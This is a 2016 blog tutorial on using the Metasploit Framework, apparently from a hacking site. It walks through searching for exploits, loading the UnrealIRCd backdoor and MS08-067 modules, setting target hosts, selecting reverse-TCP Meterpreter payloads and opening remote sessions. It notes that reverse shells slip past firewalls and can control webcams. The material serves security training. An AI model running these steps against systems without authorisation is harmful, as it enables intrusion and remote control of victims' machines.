Metasploit Full Tutorials Beginners To Professional - HacCoders

Saturday 6 February 2016

Metasploit Full Tutorials Beginners To Professional

metasploit tutorials beginners to progessianal

Introduction


The Metasploit Framework (MSF) is far more than just a collection of exploits. It’s an infrastructure that you can build upon and utilize for your custom needs. This allows you to concentrate on your unique environment, and not have to reinvent the wheel. I consider the MSF to be one of the single most useful auditing tools freely available to security professionals today. From a wide array of commercial grade exploits and an extensive exploit development environment, all the way to network information gathering tools and web vulnerability plugins, the Metasploit Framework provides a truly impressive work environment.
This course has been written in a manner to encompass not just the front end “user” aspects of the framework, but rather give you an introduction to the capabilities that Metasploit provides. We aim to give you an in depth look into the many features of the MSF, and provide you with the skill and confidence to utilize this amazing tool to its utmost capabilities.

Updates

Normally to update Metasploit, you simply run “mfsupdate”, but according to the Rapid 7 website,
Metasploit updates are synced to update weekly with Kali.

(https://community.rapid7.com/thread/3007)

Metasploit Overview

You can start Metasploit Simple Type On Terminal "msfconsole"
Once Metasploit loads you will see the following main screen and be given an “msf >” prompt.

metasploit tutorials beginners to progessianal

Metasploit can be a little confusing if you have never used it before, but once you get used to how it works, you can do some amazing things with it.

Basically, using Metasploit to attack a target system usually involves:

1. Picking an Exploit
2. Setting Exploit Options
3. Picking a Payload
4. Setting Payload Options
5. Running the Exploit
6. Connecting to the Remote System
7. Performing Post Exploitation Processes

The screenshot below shows an example of this process, but don’t worry; we will cover the process in much more detail as we go along.

metasploit tutorials beginners to progessianal

Depending on the type of exploit, once our exploit is complete we will normally end up with either a remote shell to the computer or a Meterpreter shell.

A remote shell is basically a remote terminal connection or a text version of a remote desktop for Windows users. It allows us to enter commands as if we are sitting at the keyboard.

But a Meterpreter shell offers a ton of interesting programs and utilities that we can run to gather information about the target machine, control devices like the webcam and microphone, or even use this foothold to get further access into the network.

And of course, if needed, you can drop to a regular shell at any time.

In most cases, depending on what you are trying to do, a Meterpreter Shell is much more advantageous than just a regular shell.

We will discuss the Meterpreter Shell later, but for now let’s quickly cover the first five steps.

Tech Note:
When all else fails and you start to feel lost in
Metasploit, or the Meterpreter shell, try typing
the “help” command.
You can also use the “tab” key to autocomplete a
line or hit it twice to show all available exploits
and payloads.

Ex. show exploits <tab><tab>

Picking an Exploit


If you are a glutton for punishment and want to view all the exploits, just type “show exploits” from the msf prompt:

msf > show exploits
But it is easier to use the search command to find what you are looking for. Simply type “search” and then the information you want. Sometimes being very specific will help you find the exploit you want quicker.

Tech Note:
If you see an error that says, “[!] Database not
connected or cache not built, using slow
search” all you need to do is start the PostSQL
Database before running msfconsole (though
your search will work without it running, it will
just be slower).
To start the Database at a terminal prompt, type
the following:

● service postgresql start
● service metasploit start
● msfconsole
Metasploit allows you to search for exploits in multiple ways, by platform, or even CVE (Common Vulnerabilities and Exposures) and bugtrack numbers.
Type “help search” to see all of the options:

metasploit tutorials beginners to progessianal

To search by name, just type search and the text you want. So for example to see if Metasploit has an exploit for Microsoft’s Security Bulletin MS13-069 vulnerability:

metasploit tutorials beginners to progessianal

To see a specific CVE ID number:

metasploit tutorials beginners to progessianal

To see all the CVE ID’s from this year (truncated list):

metasploit tutorials beginners to progessianal

Or to see exploit information for a particular program just use its name:

msf > search unreal

When you see an exploit that you want to know more about, just copy and paste the full path name and use the info command:

msf > info exploit/unix/irc/unreal_ircd_3281_backdoor

This will display the full information screen for the exploit:

metasploit tutorials beginners to progessianal






The information screen shows the author’s name, a brief overview (not shown) along with the basic options that can be set, a description and website security bulletin references for the exploit (shown).

As you can see in the picture above, we can set a couple options for this exploit, which leads us into our next section.

But before we set our exploit options, we need to “use” it. Once we know we have the exploit we want, we simply run the “use” command with the exploit name. Again copying and pasting the exploit
path and name works very well here too:

metasploit tutorials beginners to progessianal


Okay, we are now using our exploit, so how do we set the options?

Setting Exploit Options


Setting options in Metasploit is as simple as using the “set” command followed by the variable name to set and then the value.

set <Variable Name> <Value>

Tech Note:
LHOST = Local Host, or our
Kali System
RHOST = Remote Host, or
our target System
LPORT = Port we want to
use on our Kali System
RPORT = Port we want to
attack on our target System

To set what variables can be set, use the “show options” command:

metasploit tutorials beginners to progessianal

This exploit only uses two main variables, RHOST and RPORT. Rhost is the remote host that we are attacking and Rport is the remote port.

Let’s go ahead and set the RHOST variable using the set command. If the target system’s IP address was 192.168.0.20 then we would use the set command below:

metasploit tutorials beginners to progessianal


If we run the “show options” command again, we can see that the variable has indeed been set:

metasploit tutorials beginners to progessianal
This is all you really need is set in this exploit. You could now run the “exploit” command to execute it.
If you are feeling a bit lost, don’t panic, we will cover this in more detail in the Metasploitable chapter.

Multiple Target Types


The Unreal backdoor was a fairly easy exploit to use. Some exploits have multiple variables that you need to set and they might even have some optional variables that can also be configured.

As you use Metasploit, you will find that some have multiple target types that can be attacked, and that the exact target needs to be set for the exploit to work properly. To see the target, enter “show targets”.

On the exploit we used above, the target is automatic, so we don’t need to set it.

metasploit tutorials beginners to progessianal


But on others, there are numerous targets and we need to pick the right one.

Getting a remote shell on a Windows XP Machine


We took a brief look at one of the Linux exploits, let’s go ahead and run through the ms08-067 exploit
as it is one of the more popular Windows exploits.

1. To start, simply use the exploit:
msf > use exploit/windows/smb/ms08_067_netapi

2. Now type, “show options”:

metasploit tutorials beginners to progessianal





Notice that by default the target is set to “Automatic Targeting”. I have had mixed results with using automatic targeting, and sometimes things work better if you set the exact target.

3. If we want to set a specific target type, “show targets”:

metasploit tutorials beginners to progessianal


4. Then type, “set target <ID#>” to set the actual target

metasploit tutorials beginners to progessianal

5. And again a “show options” will reveal that we indeed have the target value set:

metasploit tutorials beginners to progessianal

Lastly, though not often used in regular exploits, we can also set advanced options if we want.
To show the advanced options, just type “show advanced”:

metasploit tutorials beginners to progessianal

Now we have seen how to select an exploit and how to set the options. On many exploits we also
need to set a payload.

Picking a Payload


What’s the fun of exploiting a machine if you can’t do anything with it? Payloads allow you to do something functional with the exploited system.

Metasploit comes with a multitude of different payloads that you can use. To see them, just type
show payloads”:

metasploit tutorials beginners to progessianal


Or you can type “set payload” and hit the tab key twice. This will prompt Metasploit to ask you if you
want to see all the available payloads:

Most of the payloads are laid out in the format of ‘Operating System/Shell Type’ as shown below:
● set payload/osx/x86/shell_reverse_tcp
● set payload/linux/x64/shell_reverse_tcp
● set payload/windows/shell_reverse_tcp
● set payload/windows/meterpreter/reverse_tcp

Simply select the correct OS for your target and then pick the payload you want.

The most popular types of payloads are shells, either a regular remote shell or a Meterpreter shell.

If we just want a remote terminal shell to remotely run commands, use the standard shell. If you want the capability to manipulate the session and run extended commands then you will want the Meterpreter shell (which we will discuss in further detail in the next chapter).

There are different types of ways that the payloads communicate back to the attacking system. I usually prefer reverse_tcp shells as once they are executed on the target system, they tell the attacking machine to connect back out to our Kali system.

The big advantage to this is that with the victim machine technically “initiating” the connection out, it usually is not blocked by the Firewall, as a connection trying to come in from the outside most likely will.

Once we know what payload we want to use, we set it using the “set” command.

6. So for our example let’s use a Meterpreter shell for a Windows system and have it connect
back to us via TCP:

metasploit tutorials beginners to progessianal

Now that our payload is set, we just need to set the options for it.

Setting Payload Options


Payloads have options that are set in the exact same way that the exploit is set. Usually payload settings include the IP address and port for the exploit to connect out to.

And these too are set with the “set” command.

7. Type “show options” to see what settings the payload needs:

metasploit tutorials beginners to progessianal




As you can see in the image above, a new section titled “Payload options” shows up when we run the command. We also have three new options that we can set, “EXITFUNC, LHOST, and LPORT”.

We will leave the EXITFUNC and LPORT settings to the default.

8. But we need to put in the LHOST or local host address. This is the IP address for our Kali system:

metasploit tutorials beginners to progessianal


Once our payload options are set, we can go ahead and run the exploit.

Running the Exploit


When starting out, it is always a good idea to run the “show options” command one last time and double check that everything is set correctly.

metasploit tutorials beginners to progessianal

If you notice above, looks like we forgot to set the target system (RHOST) IP address!

We set the RHOST for a prior example, but when we switched exploits, we never re-set the remote
host IP address. This can happen when you are running through a lot of exploits, or attacking different
systems, so it is a good idea to double check your settings.

9. Set the RHOST option by typing:
set RHOST 192.168.0.20

Checking the options one last time, everything looks good:

metasploit tutorials beginners to progessianal

Our payload is selected, and all the options that we need to set are set.

We can now run the exploit.

10. To do so, simply use the “exploit” command.

metasploit tutorials beginners to progessianal

The exploit then runs and when successful the payload executes and if the exploit works, we get a
remote connection.

Connecting to a Remote Session


Once we have a successful exploit we will be able to view any remote sessions that were created. To
check what sessions were created type the “sessions” command.

Any sessions that were created will show up along with the IP address, computer name and user name
of the target system.

metasploit tutorials beginners to progessianal

We can now connect to the session interactively with the “sessions -i <ID#>” command as shown in the sample session above.

When we connect to the session, the prompt will change into a meterpreter prompt:

metasploit tutorials beginners to progessianal

We will cover the Meterpreter shell in more depth in the next chapter. But for now, if we just type the “shell” command we can see that we do indeed have a remote shell to the Windows system.


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